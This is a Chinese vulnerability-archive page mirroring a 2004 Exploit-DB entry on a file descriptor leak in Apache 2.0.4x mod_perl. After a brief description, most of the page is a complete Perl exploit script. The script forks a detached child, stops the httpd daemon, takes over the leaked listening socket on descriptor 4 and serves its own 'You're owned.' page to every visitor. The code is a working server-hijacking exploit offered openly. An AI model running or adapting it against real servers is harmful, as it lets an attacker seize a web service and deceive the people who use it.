Apache 2.0.4x mod_perl – File Descriptor Leakage (3)

Apache 2.0.4x mod_perl – File Descriptor Leakage (3)

漏洞ID 1054372 漏洞类型
发布时间 2004-01-21 更新时间 2004-01-21
图片[1]-Apache 2.0.4x mod_perl – File Descriptor Leakage (3)-安全小百科CVE编号 N/A
图片[2]-Apache 2.0.4x mod_perl – File Descriptor Leakage (3)-安全小百科CNNVD-ID N/A
漏洞平台 Linux CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/23581
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/9471/info

A vulnerability has been reported to exist in the Apache mod_perl module that may allow local attackers to gain access to privileged file descriptors. This issue could be exploited by an attacker to hijack a vulnerable server daemon. Other attacks are also possible.

It has been reported that multiple file descriptors, are leaked to the mod_perl module and any processes it creates. This allows for Perl scripts and any processes they spawn to access the privileged I/O streams.

#!/usr/bin/perl

use POSIX qw(setsid);

if (!defined(my $pid = fork)) {
        print "Content-Type: text/htmlnn";
        print "cannot fork: $!";
        exit 1;
} elsif ($pid) { # This is the parent
        sleep(1);
        print "Content-Type: text/htmlnn";
        print "<html><body>Exploit installed</body></html>";
        system '/usr/sbin/httpd2 -k stop';
        sleep(2);
        exit 0;
}

# This is the Child
setsid;
sleep(2);
my $leak = 4;
open(Server, "+<&$leak");
while (1) {
        my $rin = '';
        vec($rin,fileno(Server),1) = 1;
        $nfound = select($rout = $rin, undef, undef, undef);
        if (accept(Client,Server) ) {
                print Client "HTTP/1.0 200 OKn";
                print Client "Content-Length: 40n";
                print Client "Content-Type: text/htmlnn";
                print Client "<html><body>";
                print Client "You're owned.";
                print Client "</body></html>";
                close Client;
        }
}

相关推荐: Windows NT CVE-1999-0226 Denial-Of-Service Vulnerability

Windows NT CVE-1999-0226 Denial-Of-Service Vulnerability 漏洞ID 1209194 漏洞类型 Failure to Handle Exceptional Conditions 发布时间 1999-01-0…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享